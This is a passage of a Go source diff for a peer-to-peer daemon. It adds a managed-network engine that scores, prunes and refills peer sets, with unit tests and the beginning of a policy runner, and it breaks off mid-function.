+ "fmt" + "log/slog" + "math/rand" + "os" + "path/filepath" + "sort" + "sync" + "time" + + "github.com/TeoSlayer/pilotprotocol/internal/fsutil" + "github.com/TeoSlayer/pilotprotocol/pkg/registry" +) + +// ManagedEngine runs the managed network cycle for a single network. +// It maintains a local peer set, scores, and runs periodic prune/fill cycles. +// All state is daemon-local — the registry only stores the rules. +type ManagedEngine struct { + netID uint16 + rules *registry.NetworkRules + daemon *Daemon + + mu sync.RWMutex + peers map[uint32]*managedPeer // nodeID -> peer state + joinedAt time.Time // when this node joined the managed network + + stopCh chan struct{} + done chan struct{} + path string // persistence path (~/.pilot/managed_.json) +} + +// managedPeer tracks a single managed peer's state. +type managedPeer struct { + NodeID uint32 `json:"node_id"` + Score int `json:"score"` + Topics map[string]int `json:"topics,omitempty"` // per-topic scores + Tags []string `json:"tags,omitempty"` // peer tags (policy engine) + AddedAt time.Time `json:"added_at"` + LastSeen time.Time `json:"last_seen"` +} + +// managedSnapshot is the JSON format persisted to disk. +type managedSnapshot struct { + NetworkID uint16 `json:"network_id"` + Peers map[uint32]*managedPeer `json:"peers"` + JoinedAt string `json:"joined_at"` + CycleNum int `json:"cycle_num"` +} + +// NewManagedEngine creates a managed engine for a network. +// It loads persisted state if available, or bootstraps from the member list. +func NewManagedEngine(netID uint16, rules *registry.NetworkRules, d *Daemon) *ManagedEngine { + home, _ := os.UserHomeDir() + path := filepath.Join(home, ".pilot", fmt.Sprintf("managed_%d.json", netID)) + + me := &ManagedEngine{ + netID: netID, + rules: rules, + daemon: d, + peers: make(map[uint32]*managedPeer), + joinedAt: time.Now(), + stopCh: make(chan struct{}), + done: make(chan struct{}), + path: path, + } + + if err := me.load(); err != nil { + slog.Debug("managed: no persisted state, will bootstrap", "network_id", netID, "err", err) + } + + return me +} + +// Start begins the cycle loop. Should be called after construction. +func (me *ManagedEngine) Start() { + go me.cycleLoop() + slog.Info("managed engine started", "network_id", me.netID, "rules", me.rules) +} + +// Stop signals the cycle loop to exit and waits for it. +func (me *ManagedEngine) Stop() { + select { + case <-me.stopCh: + default: + close(me.stopCh) + } + <-me.done +} + +// Bootstrap populates the managed set from the network member list. +// Called on first join or when persisted state is empty. +func (me *ManagedEngine) Bootstrap() error { + members, err := me.fetchMembers() + if err != nil { + return fmt.Errorf("managed bootstrap: %w", err) + } + + myID := me.daemon.NodeID() + var candidates []uint32 + for _, id := range members { + if id != myID { + candidates = append(candidates, id) + } + } + + // Shuffle and pick up to rules.Links peers + rand.Shuffle(len(candidates), func(i, j int) { + candidates[i], candidates[j] = candidates[j], candidates[i] + }) + limit := me.rules.Links + if limit > len(candidates) { + limit = len(candidates) + } + + me.mu.Lock() + defer me.mu.Unlock() + + now := time.Now() + for _, id := range candidates[:limit] { + if _, exists := me.peers[id]; !exists { + me.peers[id] = &managedPeer{ + NodeID: id, + AddedAt: now, + } + } + } + + me.persist() + slog.Info("managed: bootstrapped", "network_id", me.netID, "peers", len(me.peers), "available", len(candidates)) + return nil +} + +// Score adjusts a peer's score by delta. Optional topic scoping. +func (me *ManagedEngine) Score(nodeID uint32, delta int, topic string) error { + me.mu.Lock() + defer me.mu.Unlock() + + p, ok := me.peers[nodeID] + if !ok { + return fmt.Errorf("peer %d not in managed set for network %d", nodeID, me.netID) + } + + p.Score += delta + p.LastSeen = time.Now() + + if topic != "" { + if p.Topics == nil { + p.Topics = make(map[string]int) + } + p.Topics[topic] += delta + } + + return nil +} + +// Status returns a summary of the managed engine state. +func (me *ManagedEngine) Status() map[string]interface{} { + me.mu.RLock() + defer me.mu.RUnlock() + + return map[string]interface{}{ + "network_id": me.netID, + "peers": len(me.peers), + "max_links": me.rules.Links, + "cycle": me.rules.Cycle, + "prune": me.rules.Prune, + "prune_by": me.rules.PruneBy, + "fill": me.rules.Fill, + "fill_how": me.rules.FillHow, + "grace": me.rules.Grace, + "joined_at": me.joinedAt.Format(time.RFC3339), + } +} + +// Rankings returns all managed peers sorted by score descending. +func (me *ManagedEngine) Rankings() []map[string]interface{} { + me.mu.RLock() + defer me.mu.RUnlock() + + type entry struct { + peer *managedPeer + } + var entries []entry + for _, p := range me.peers { + entries = append(entries, entry{peer: p}) + } + sort.Slice(entries, func(i, j int) bool { + return entries[i].peer.Score > entries[j].peer.Score + }) + + result := make([]map[string]interface{}, 0, len(entries)) + for rank, e := range entries { + m := map[string]interface{}{ + "rank": rank + 1, + "node_id": e.peer.NodeID, + "score": e.peer.Score, + "added_at": e.peer.AddedAt.Format(time.RFC3339), + } + if !e.peer.LastSeen.IsZero() { + m["last_seen"] = e.peer.LastSeen.Format(time.RFC3339) + } + if len(e.peer.Topics) > 0 { + m["topics"] = e.peer.Topics + } + result = append(result, m) + } + return result +} + +// ForceCycle runs a cycle immediately, outside the timer. +func (me *ManagedEngine) ForceCycle() map[string]interface{} { + return me.runCycle() +} + +// cycleLoop is the main background goroutine. +func (me *ManagedEngine) cycleLoop() { + defer close(me.done) + + // Bootstrap if we have no peers + me.mu.RLock() + needBootstrap := len(me.peers) == 0 + me.mu.RUnlock() + if needBootstrap { + if err := me.Bootstrap(); err != nil { + slog.Warn("managed: bootstrap failed", "network_id", me.netID, "err", err) + } + } + + cycleDur, _ := time.ParseDuration(me.rules.Cycle) // validated at creation + ticker := time.NewTicker(cycleDur) + defer ticker.Stop() + + for { + select { + case <-ticker.C: + me.runCycle() + case <-me.stopCh: + return + } + } +} + +// runCycle executes one prune/fill cycle. +func (me *ManagedEngine) runCycle() map[string]interface{} { + me.mu.Lock() + + // 1. Rank peers + ranked := me.rankedPeers() + + // 2. Prune bottom N + pruned := me.prune(ranked) + + me.mu.Unlock() + + // 3. Fetch current members (needs network call, do outside lock) + members, err := me.fetchMembers() + if err != nil { + slog.Warn("managed: cycle fill failed (member list)", "network_id", me.netID, "err", err) + return map[string]interface{}{ + "pruned": pruned, + "filled": 0, + "error": err.Error(), + } + } + + me.mu.Lock() + // 4. Fill with random new peers + filled := me.fill(members) + + peerCount := len(me.peers) + me.mu.Unlock() + + me.persist() + + result := map[string]interface{}{ + "network_id": me.netID, + "pruned": pruned, + "filled": filled, + "peers": peerCount, + } + + slog.Info("managed: cycle complete", "network_id", me.netID, "pruned", pruned, "filled", filled, "peers", peerCount) + + me.daemon.webhook.Emit("managed.cycle", result) + + return result +} + +// rankedPeers returns peers sorted according to the prune strategy. +// Caller must hold me.mu. +func (me *ManagedEngine) rankedPeers() []*managedPeer { + peers := make([]*managedPeer, 0, len(me.peers)) + for _, p := range me.peers { + peers = append(peers, p) + } + + switch me.rules.PruneBy { + case "score": + // Ascending: lowest score first (pruned first) + sort.Slice(peers, func(i, j int) bool { + return peers[i].Score < peers[j].Score + }) + case "age": + // Oldest first (earliest AddedAt pruned first) + sort.Slice(peers, func(i, j int) bool { + return peers[i].AddedAt.Before(peers[j].AddedAt) + }) + case "activity": + // Least recently seen first (earliest LastSeen pruned first) + sort.Slice(peers, func(i, j int) bool { + return peers[i].LastSeen.Before(peers[j].LastSeen) + }) + } + + return peers +} + +// prune removes the bottom N peers from the managed set. +// Returns the number actually pruned. Caller must hold me.mu. +func (me *ManagedEngine) prune(ranked []*managedPeer) int { + toPrune := me.rules.Prune + if toPrune > len(ranked) { + toPrune = len(ranked) + } + + // Check grace period: don't prune peers added within grace window + var graceDur time.Duration + if me.rules.Grace != "" { + graceDur, _ = time.ParseDuration(me.rules.Grace) + } + + pruned := 0 + now := time.Now() + for i := 0; i < toPrune && i < len(ranked); i++ { + p := ranked[i] + if graceDur > 0 && now.Sub(p.AddedAt) < graceDur { + continue // still in grace period + } + delete(me.peers, p.NodeID) + pruned++ + } + return pruned +} + +// fill adds up to rules.Fill new random peers not already in the managed set. +// Returns the number actually added. Caller must hold me.mu. +func (me *ManagedEngine) fill(members []uint32) int { + myID := me.daemon.NodeID() + + var candidates []uint32 + for _, id := range members { + if id == myID { + continue + } + if _, exists := me.peers[id]; exists { + continue + } + candidates = append(candidates, id) + } + + rand.Shuffle(len(candidates), func(i, j int) { + candidates[i], candidates[j] = candidates[j], candidates[i] + }) + + // Respect links limit + available := me.rules.Links - len(me.peers) + if available < 0 { + available = 0 + } + toFill := me.rules.Fill + if toFill > available { + toFill = available + } + if toFill > len(candidates) { + toFill = len(candidates) + } + + now := time.Now() + for _, id := range candidates[:toFill] { + me.peers[id] = &managedPeer{ + NodeID: id, + AddedAt: now, + } + } + return toFill +} + +// fetchMembers calls list_nodes on the registry for this network. +func (me *ManagedEngine) fetchMembers() ([]uint32, error) { + resp, err := me.daemon.regConn.ListNodes(me.netID, me.daemon.config.AdminToken) + if err != nil { + return nil, err + } + + nodesRaw, ok := resp["nodes"].([]interface{}) + if !ok { + return nil, fmt.Errorf("unexpected list_nodes response") + } + + var members []uint32 + for _, n := range nodesRaw { + if m, ok := n.(map[string]interface{}); ok { + if id, ok := m["node_id"].(float64); ok { + members = append(members, uint32(id)) + } + } + } + return members, nil +} + +// persist saves the managed state to disk. +func (me *ManagedEngine) persist() { + me.mu.RLock() + snap := managedSnapshot{ + NetworkID: me.netID, + Peers: me.peers, + JoinedAt: me.joinedAt.Format(time.RFC3339), + } + me.mu.RUnlock() + + data, err := json.MarshalIndent(snap, "", " ") + if err != nil { + slog.Warn("managed: persist marshal failed", "network_id", me.netID, "err", err) + return + } + + // Ensure directory exists + dir := filepath.Dir(me.path) + os.MkdirAll(dir, 0700) + + if err := fsutil.AtomicWrite(me.path, data); err != nil { + slog.Warn("managed: persist write failed", "network_id", me.netID, "err", err) + } +} + +// load reads persisted state from disk. +func (me *ManagedEngine) load() error { + data, err := os.ReadFile(me.path) + if err != nil { + return err + } + + var snap managedSnapshot + if err := json.Unmarshal(data, &snap); err != nil { + return err + } + + me.peers = snap.Peers + if me.peers == nil { + me.peers = make(map[uint32]*managedPeer) + } + if t, err := time.Parse(time.RFC3339, snap.JoinedAt); err == nil { + me.joinedAt = t + } + + slog.Info("managed: loaded persisted state", "network_id", me.netID, "peers", len(me.peers)) + return nil +} diff --git a/pkg/daemon/managed_test.go b/pkg/daemon/managed_test.go new file mode 100644 index 00000000..994d3c46 --- /dev/null +++ b/pkg/daemon/managed_test.go @@ -0,0 +1,478 @@ +package daemon + +import ( + "encoding/json" + "os" + "path/filepath" + "testing" + "time" + + "github.com/TeoSlayer/pilotprotocol/pkg/registry" +) + +func testRules() *registry.NetworkRules { + return ®istry.NetworkRules{ + Links: 5, + Cycle: "1h", + Prune: 2, + PruneBy: "score", + Fill: 2, + FillHow: "random", + Grace: "10m", + } +} + +func TestValidateRules(t *testing.T) { + t.Parallel() + + tests := []struct { + name string + rules *registry.NetworkRules + wantErr bool + }{ + {"nil rules", nil, false}, + {"valid", testRules(), false}, + {"zero links", ®istry.NetworkRules{Links: 0, Cycle: "1h", PruneBy: "score", FillHow: "random"}, true}, + {"missing cycle", ®istry.NetworkRules{Links: 5, PruneBy: "score", FillHow: "random"}, true}, + {"invalid cycle", ®istry.NetworkRules{Links: 5, Cycle: "bad", PruneBy: "score", FillHow: "random"}, true}, + {"cycle too short", ®istry.NetworkRules{Links: 5, Cycle: "30s", PruneBy: "score", FillHow: "random"}, true}, + {"prune exceeds links", ®istry.NetworkRules{Links: 5, Cycle: "1h", Prune: 10, PruneBy: "score", FillHow: "random"}, true}, + {"unknown prune_by", ®istry.NetworkRules{Links: 5, Cycle: "1h", Prune: 2, PruneBy: "unknown", FillHow: "random"}, true}, + {"unknown fill_how", ®istry.NetworkRules{Links: 5, Cycle: "1h", Prune: 2, PruneBy: "score", FillHow: "magic"}, true}, + {"valid age strategy", ®istry.NetworkRules{Links: 5, Cycle: "1h", Prune: 2, PruneBy: "age", FillHow: "random"}, false}, + {"valid activity strategy", ®istry.NetworkRules{Links: 5, Cycle: "1h", Prune: 2, PruneBy: "activity", FillHow: "random"}, false}, + {"invalid grace", ®istry.NetworkRules{Links: 5, Cycle: "1h", Prune: 2, PruneBy: "score", FillHow: "random", Grace: "bad"}, true}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + err := registry.ValidateRules(tt.rules) + if (err != nil) != tt.wantErr { + t.Errorf("ValidateRules() error = %v, wantErr %v", err, tt.wantErr) + } + }) + } +} + +func TestParseRules(t *testing.T) { + t.Parallel() + + raw := `{"links":100,"cycle":"24h","prune":10,"prune_by":"score","fill":10,"fill_how":"random","grace":"48h"}` + r, err := registry.ParseRules(raw) + if err != nil { + t.Fatalf("ParseRules() error: %v", err) + } + if r.Links != 100 { + t.Errorf("Links = %d, want 100", r.Links) + } + if r.Cycle != "24h" { + t.Errorf("Cycle = %q, want 24h", r.Cycle) + } + if r.PruneBy != "score" { + t.Errorf("PruneBy = %q, want score", r.PruneBy) + } + if r.Grace != "48h" { + t.Errorf("Grace = %q, want 48h", r.Grace) + } +} + +func TestParseRulesInvalid(t *testing.T) { + t.Parallel() + + _, err := registry.ParseRules(`not json`) + if err == nil { + t.Fatal("expected error for invalid JSON") + } + + _, err = registry.ParseRules(`{"links":0}`) + if err == nil { + t.Fatal("expected validation error") + } +} + +func TestManagedPeerScoring(t *testing.T) { + t.Parallel() + + me := &ManagedEngine{ + netID: 1, + rules: testRules(), + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, AddedAt: time.Now()}, + 200: {NodeID: 200, AddedAt: time.Now()}, + }, + } + + if err := me.Score(100, 5, ""); err != nil { + t.Fatalf("Score() error: %v", err) + } + if me.peers[100].Score != 5 { + t.Errorf("Score = %d, want 5", me.peers[100].Score) + } + + if err := me.Score(100, -2, "quality"); err != nil { + t.Fatalf("Score() error: %v", err) + } + if me.peers[100].Score != 3 { + t.Errorf("Score = %d, want 3", me.peers[100].Score) + } + if me.peers[100].Topics["quality"] != -2 { + t.Errorf("Topic score = %d, want -2", me.peers[100].Topics["quality"]) + } + + // Score non-existent peer + if err := me.Score(999, 1, ""); err == nil { + t.Fatal("expected error for non-existent peer") + } +} + +func TestManagedRankings(t *testing.T) { + t.Parallel() + + me := &ManagedEngine{ + netID: 1, + rules: testRules(), + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 10, AddedAt: time.Now()}, + 200: {NodeID: 200, Score: 50, AddedAt: time.Now()}, + 300: {NodeID: 300, Score: 30, AddedAt: time.Now()}, + }, + } + + rankings := me.Rankings() + if len(rankings) != 3 { + t.Fatalf("Rankings() = %d entries, want 3", len(rankings)) + } + + // Check order: 200 (50) > 300 (30) > 100 (10) + if rankings[0]["node_id"] != uint32(200) { + t.Errorf("rank 1 = node %v, want 200", rankings[0]["node_id"]) + } + if rankings[1]["node_id"] != uint32(300) { + t.Errorf("rank 2 = node %v, want 300", rankings[1]["node_id"]) + } + if rankings[2]["node_id"] != uint32(100) { + t.Errorf("rank 3 = node %v, want 100", rankings[2]["node_id"]) + } +} + +func TestManagedStatus(t *testing.T) { + t.Parallel() + + me := &ManagedEngine{ + netID: 1, + rules: testRules(), + peers: map[uint32]*managedPeer{100: {NodeID: 100}}, + joinedAt: time.Now(), + } + + status := me.Status() + if status["network_id"] != uint16(1) { + t.Errorf("network_id = %v, want 1", status["network_id"]) + } + if status["peers"] != 1 { + t.Errorf("peers = %v, want 1", status["peers"]) + } + if status["max_links"] != 5 { + t.Errorf("max_links = %v, want 5", status["max_links"]) + } +} + +func TestManagedPruneByScore(t *testing.T) { + t.Parallel() + + now := time.Now() + me := &ManagedEngine{ + netID: 1, + rules: ®istry.NetworkRules{ + Links: 5, + Cycle: "1h", + Prune: 2, + PruneBy: "score", + Fill: 0, + FillHow: "random", + }, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 10, AddedAt: now}, + 200: {NodeID: 200, Score: 50, AddedAt: now}, + 300: {NodeID: 300, Score: 30, AddedAt: now}, + 400: {NodeID: 400, Score: 5, AddedAt: now}, + 500: {NodeID: 500, Score: 20, AddedAt: now}, + }, + } + + ranked := me.rankedPeers() + pruned := me.prune(ranked) + + if pruned != 2 { + t.Errorf("pruned = %d, want 2", pruned) + } + + // 400 (5) and 100 (10) should be pruned + if _, exists := me.peers[400]; exists { + t.Error("peer 400 (score=5) should have been pruned") + } + if _, exists := me.peers[100]; exists { + t.Error("peer 100 (score=10) should have been pruned") + } + // 200, 300, 500 should remain + if _, exists := me.peers[200]; !exists { + t.Error("peer 200 (score=50) should remain") + } + if _, exists := me.peers[300]; !exists { + t.Error("peer 300 (score=30) should remain") + } + if _, exists := me.peers[500]; !exists { + t.Error("peer 500 (score=20) should remain") + } +} + +func TestManagedPruneByAge(t *testing.T) { + t.Parallel() + + now := time.Now() + me := &ManagedEngine{ + netID: 1, + rules: ®istry.NetworkRules{ + Links: 5, + Cycle: "1h", + Prune: 1, + PruneBy: "age", + Fill: 0, + FillHow: "random", + }, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, AddedAt: now.Add(-3 * time.Hour)}, + 200: {NodeID: 200, AddedAt: now.Add(-1 * time.Hour)}, + 300: {NodeID: 300, AddedAt: now}, + }, + } + + ranked := me.rankedPeers() + pruned := me.prune(ranked) + + if pruned != 1 { + t.Errorf("pruned = %d, want 1", pruned) + } + if _, exists := me.peers[100]; exists { + t.Error("peer 100 (oldest) should have been pruned") + } +} + +func TestManagedPruneGracePeriod(t *testing.T) { + t.Parallel() + + now := time.Now() + me := &ManagedEngine{ + netID: 1, + rules: ®istry.NetworkRules{ + Links: 5, + Cycle: "1h", + Prune: 2, + PruneBy: "score", + Fill: 0, + FillHow: "random", + Grace: "1h", + }, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 1, AddedAt: now.Add(-2 * time.Hour)}, // past grace + 200: {NodeID: 200, Score: 2, AddedAt: now}, // in grace + 300: {NodeID: 300, Score: 3, AddedAt: now}, // in grace + }, + } + + ranked := me.rankedPeers() + pruned := me.prune(ranked) + + // Only peer 100 is past grace and has lowest score + if pruned != 1 { + t.Errorf("pruned = %d, want 1 (grace should protect others)", pruned) + } + if _, exists := me.peers[100]; exists { + t.Error("peer 100 should have been pruned (past grace)") + } + if _, exists := me.peers[200]; !exists { + t.Error("peer 200 should be protected by grace period") + } +} + +func TestManagedFill(t *testing.T) { + t.Parallel() + + me := &ManagedEngine{ + netID: 1, + rules: ®istry.NetworkRules{ + Links: 5, + Cycle: "1h", + Prune: 0, + PruneBy: "score", + Fill: 3, + FillHow: "random", + }, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, AddedAt: time.Now()}, + }, + daemon: &Daemon{ + nodeID: 999, // our own ID + }, + } + + members := []uint32{100, 200, 300, 400, 500, 999} + filled := me.fill(members) + + if filled != 3 { + t.Errorf("filled = %d, want 3", filled) + } + if len(me.peers) != 4 { // 1 existing + 3 new + t.Errorf("total peers = %d, want 4", len(me.peers)) + } + + // Existing peer should still be there + if _, exists := me.peers[100]; !exists { + t.Error("existing peer 100 should remain") + } + + // Our own ID should not be added + if _, exists := me.peers[999]; exists { + t.Error("should not add own node ID to managed set") + } +} + +func TestManagedFillRespectsLinksLimit(t *testing.T) { + t.Parallel() + + me := &ManagedEngine{ + netID: 1, + rules: ®istry.NetworkRules{ + Links: 3, + Cycle: "1h", + Prune: 0, + PruneBy: "score", + Fill: 10, // wants 10 but links limit is 3 + FillHow: "random", + }, + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, AddedAt: time.Now()}, + }, + daemon: &Daemon{nodeID: 999}, + } + + members := []uint32{100, 200, 300, 400, 500, 600, 700, 999} + filled := me.fill(members) + + if filled != 2 { // links=3, have 1, can add 2 + t.Errorf("filled = %d, want 2 (limited by links)", filled) + } + if len(me.peers) != 3 { + t.Errorf("total peers = %d, want 3", len(me.peers)) + } +} + +func TestManagedPersistAndLoad(t *testing.T) { + t.Parallel() + + dir := t.TempDir() + path := filepath.Join(dir, "managed_1.json") + + me := &ManagedEngine{ + netID: 1, + rules: testRules(), + joinedAt: time.Now().Truncate(time.Second), + peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 42, AddedAt: time.Now().Truncate(time.Second)}, + 200: {NodeID: 200, Score: -5, Topics: map[string]int{"quality": -5}, AddedAt: time.Now().Truncate(time.Second)}, + }, + path: path, + } + + me.persist() + + // Verify file exists + if _, err := os.Stat(path); os.IsNotExist(err) { + t.Fatal("persist file should exist") + } + + // Load into new engine + me2 := &ManagedEngine{ + netID: 1, + rules: testRules(), + peers: make(map[uint32]*managedPeer), + path: path, + } + if err := me2.load(); err != nil { + t.Fatalf("load() error: %v", err) + } + + if len(me2.peers) != 2 { + t.Errorf("loaded peers = %d, want 2", len(me2.peers)) + } + if me2.peers[100].Score != 42 { + t.Errorf("peer 100 score = %d, want 42", me2.peers[100].Score) + } + if me2.peers[200].Topics["quality"] != -5 { + t.Errorf("peer 200 topic score = %d, want -5", me2.peers[200].Topics["quality"]) + } +} + +func TestManagedSnapshotJSON(t *testing.T) { + t.Parallel() + + snap := managedSnapshot{ + NetworkID: 42, + Peers: map[uint32]*managedPeer{ + 100: {NodeID: 100, Score: 10}, + }, + JoinedAt: time.Now().Format(time.RFC3339), + } + + data, err := json.Marshal(snap) + if err != nil { + t.Fatalf("marshal error: %v", err) + } + + var loaded managedSnapshot + if err := json.Unmarshal(data, &loaded); err != nil { + t.Fatalf("unmarshal error: %v", err) + } + + if loaded.NetworkID != 42 { + t.Errorf("NetworkID = %d, want 42", loaded.NetworkID) + } +} + +func TestIsPortAllowed(t *testing.T) { + t.Parallel() + + d := &Daemon{ + netPolicies: map[uint16][]uint16{ + 1: {80, 443, 1001}, // network 1: only web + data exchange + 2: {7}, // network 2: echo only + // network 0 (backbone): no entry = all ports allowed + }, + } + + tests := []struct { + name string + netID uint16 + port uint16 + allowed bool + }{ + {"backbone_any_port", 0, 9999, true}, + {"net1_allowed_80", 1, 80, true}, + {"net1_allowed_443", 1, 443, true}, + {"net1_allowed_1001", 1, 1001, true}, + {"net1_blocked_22", 1, 22, false}, + {"net1_blocked_7", 1, 7, false}, + {"net2_allowed_7", 2, 7, true}, + {"net2_blocked_80", 2, 80, false}, + {"unknown_net_all_allowed", 99, 12345, true}, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + got := d.isPortAllowed(tt.netID, tt.port) + if got != tt.allowed { + t.Errorf("isPortAllowed(%d, %d) = %v, want %v", tt.netID, tt.port, got, tt.allowed) + } + }) + } +} diff --git a/pkg/daemon/policy_runner.go b/pkg/daemon/policy_runner.go new file mode 100644 index 00000000..0c6af8ed --- /dev/null +++ b/pkg/daemon/policy_runner.go @@ -0,0 +1,870 @@ +package daemon + +import ( + "encoding/json" + "fmt" + "log/slog" + "math/rand" + "os" + "path/filepath" + "sort" + "sync" + "time" + + "github.com/TeoSlayer/pilotprotocol/internal/fsutil" + "github.com/TeoSlayer/pilotprotocol/pkg/policy" +) + +// PolicyRunner manages a compiled policy for a single network. +// It holds per-peer state (scores, tags), runs cycle timers, and +// evaluates policy rules against protocol events. +type PolicyRunner struct { + netID uint16 + compiled *policy.CompiledPolicy + daemon *Daemon + + mu sync.RWMutex + peers map[uint32]*managedPeer // reuse managedPeer from managed.go + joinedAt time.Time + cycleNum int + + stopCh chan struct{} + done chan struct{} + path string // persistence path (~/.pilot/policy_.json) +} + +// policySnapshot is the JSON format persisted to disk. +type policySnapshot struct { + NetworkID uint16 `json:"network_id"` + Peers map[uint32]*managedPeer `json:"peers"` + JoinedAt string `json:"joined_at"` + CycleNum int `json:"cycle_num"` +} + +// NewPolicyRunner creates a policy runner for a network with the given compiled policy. +func NewPolicyRunner(netID uint16, cp *policy.CompiledPolicy, d *Daemon) *PolicyRunner { + home, _ := os.UserHomeDir() + path := filepath.Join(home, ".pilot", fmt.Sprintf("policy_%d.json", netID)) + + pr := &PolicyRunner{ + netID: netID, + compiled: cp, + daemon: d, + peers: make(map[uint32]*managedPeer), + joinedAt: time.Now(), + stopCh: make(chan struct{}), + done: make(chan struct{}), + path: path, + } + + if err := pr.load(); err != nil { + slog.Debug("policy: no persisted state, will bootstrap", "network_id", netID, "err", err) + } + + return pr +} + +// Start begins the cycle loop if the policy has cycle rules. +func (pr *PolicyRunner) Start() { + go pr.cycleLoop() + slog.Info("policy runner started", "network_id", pr.netID) +} + +// Stop signals the cycle loop to exit and waits for it. +func (pr *PolicyRunner) Stop() { + select { + case <-pr.stopCh: + default: + close(pr.stopCh) + } + <-pr.done +} + +// Policy returns the compiled policy. +func (pr *PolicyRunner) Policy() *policy.CompiledPolicy { + return pr.compiled +} + +// EvaluateGate evaluates a gate event (connect, dial, datagram) and returns +// true if allowed, false if denied. +func (pr *PolicyRunner) EvaluateGate(eventType policy.EventType, ctx map[string]interface{}) bool { + dirs, err := pr.compiled.Evaluate(eventType, ctx) + if err != nil { + slog.Warn("policy: gate eval error", "network_id", pr.netID, "event", eventType, "err", err) + return true // fail open on error + } + + // Execute side effects (score, tag, etc.) before the verdict + for _, d := range dirs { + switch d.Type { + case policy.DirectiveAllow: + return true + case policy.DirectiveDeny: + return false + case policy.DirectiveScore: + pr.executeScore(d, ctx) + case policy.DirectiveTag: + pr.executeTag(d, ctx) + case policy.DirectiveLog: + pr.executeLog(d) + case policy.DirectiveWebhook: + pr.executeWebhook(d) + } + } + return true // default allow +} + +// EvaluateActions evaluates an action event (cycle, join, leave). +func (pr *PolicyRunner) EvaluateActions(eventType policy.EventType, ctx map[string]interface{}) { + dirs, err := pr.compiled.Evaluate(eventType, ctx) + if err != nil { + slog.Warn("policy: action eval error", "network_id", pr.netID, "event", eventType, "err", err) + return + } + + for i, d := range dirs { + switch d.Type { + case policy.DirectiveScore: + pr.executeScore(d, ctx) + case policy.DirectiveTag: + pr.executeTag(d, ctx) + case policy.DirectiveEvict: + pr.executeEvict(ctx) + case policy.DirectiveEvictWhere: + pr.executeEvictWhere(d, i) + case policy.DirectivePrune: + pr.executePrune(d) + case policy.DirectiveFill: + pr.executeFill(d) + case policy.DirectivePruneTrust: + pr.executePruneTrust(d) + case policy.DirectiveFillTrust: + pr.executeFillTrust(d) + case policy.DirectiveLog: + pr.executeLog(d) + case policy.DirectiveWebhook: + pr.executeWebhook(d) + } + } +} + +// --- Action executors --- + +func (pr *PolicyRunner) executeScore(d policy.Directive, ctx map[string]interface{}) { + peerID, _ := ctx["peer_id"].(int) + if peerID == 0 { + return + } + delta := paramInt(d.Params, "delta") + topic, _ := d.Params["topic"].(string) + + pr.mu.Lock() + defer pr.mu.Unlock() + + p, ok := pr.peers[uint32(peerID)] + if !ok { + // Auto-add peer if not in managed set + p = &managedPeer{NodeID: uint32(peerID), AddedAt: time.Now()} + pr.peers[uint32(peerID)] = p + } + p.Score += delta + p.LastSeen = time.Now() + if topic != "" { + if p.Topics == nil { + p.Topics = make(map[string]int) + } + p.Topics[topic] += delta + } +} + +func (pr *PolicyRunner) executeTag(d policy.Directive, ctx map[string]interface{}) { + peerID, _ := ctx["peer_id"].(int) + if peerID == 0 { + return + } + + pr.mu.Lock() + defer pr.mu.Unlock() + + p, ok := pr.peers[uint32(peerID)] + if !ok { + return + } + + if addRaw, ok := d.Params["add"]; ok { + if tags, ok := addRaw.([]interface{}); ok { + for _, t := range tags { + if s, ok := t.(string); ok { + p.addTag(s) + } + } + } + } + if removeRaw, ok := d.Params["remove"]; ok { + if tags, ok := removeRaw.([]interface{}); ok { + for _, t := range tags { + if s, ok := t.(string); ok { + p.removeTag(s) + } + } + } + } +} + +func (pr *PolicyRunner) executeEvict(ctx map[string]interface{}) { + peerID, _ := ctx["peer_id"].(int) + if peerID == 0 { + return + } + pr.mu.Lock() + delete(pr.peers, uint32(peerID)) + pr.mu.Unlock() +} + +func (pr *PolicyRunner) executeEvictWhere(d policy.Directive, actionIdx int) { + pr.mu.Lock() + defer pr.mu.Unlock() + + var toEvict []uint32 + for _, p := range pr.peers { + peerCtx := map[string]interface{}{ + "peer_id": int(p.NodeID), + "peer_score": p.Score, + "peer_tags": p.tags(), + "peer_age_s": time.Since(p.AddedAt).Seconds(), + "last_seen": float64(p.LastSeen.Unix()), + } + ok, err := pr.compiled.EvaluatePeerExpr(d.Rule, actionIdx, peerCtx) + if err != nil { + slog.Warn("policy: evict_where eval error", "rule", d.Rule, "err", err) + continue + } + if ok { + toEvict = append(toEvict, p.NodeID) + } + } + + for _, id := range toEvict { + delete(pr.peers, id) + } + if len(toEvict) > 0 { + slog.Info("policy: evicted peers", "network_id", pr.netID, "count", len(toEvict), "rule", d.Rule) + } +} + +func (pr *PolicyRunner) executePrune(d policy.Directive) { + count := paramInt(d.Params, "count") + by, _ := d.Params["by"].(string) + if by == "" { + by = "score" + } + + pr.mu.Lock() + defer pr.mu.Unlock() + + ranked := pr.rankedPeers(by) + pruned := 0 + for i := 0; i < count && i < len(ranked); i++ { + delete(pr.peers, ranked[i].NodeID) + pruned++ + } + if pruned > 0 { + slog.Info("policy: pruned peers", "network_id", pr.netID, "count", pruned, "rule", d.Rule) + } +} + +func (pr *PolicyRunner) executeFill(d policy.Directive) { + count := paramInt(d.Params, "count") + + fetched := pr.fetchMembersWithTags() + if fetched == nil { + slog.Warn("policy: fill failed (member list)", "network_id", pr.netID) + return + } + + pr.mu.Lock() + defer pr.mu.Unlock() + + myID := pr.daemon.NodeID() + type candidate struct { + id uint32 + tags []string + } + var candidates []candidate + for _, f := range fetched { + if f.ID == myID { + continue + } + if p, exists := pr.peers[f.ID]; exists { + // Refresh tags for existing peers + p.Tags = f.Tags + continue + } + candidates = append(candidates, candidate{id: f.ID, tags: f.Tags}) + } + + rand.Shuffle(len(candidates), func(i, j int) { + candidates[i], candidates[j] = candidates[j], candidates[i] + }) + + maxPeers := pr.compiled.MaxPeers() + if maxPeers > 0 { + available := maxPeers - len(pr.peers) + if available < 0 { + available = 0 + } + if count > available { + count = available + } + } + if count > len(candidates) { + count = len(candidates) + } + + now := 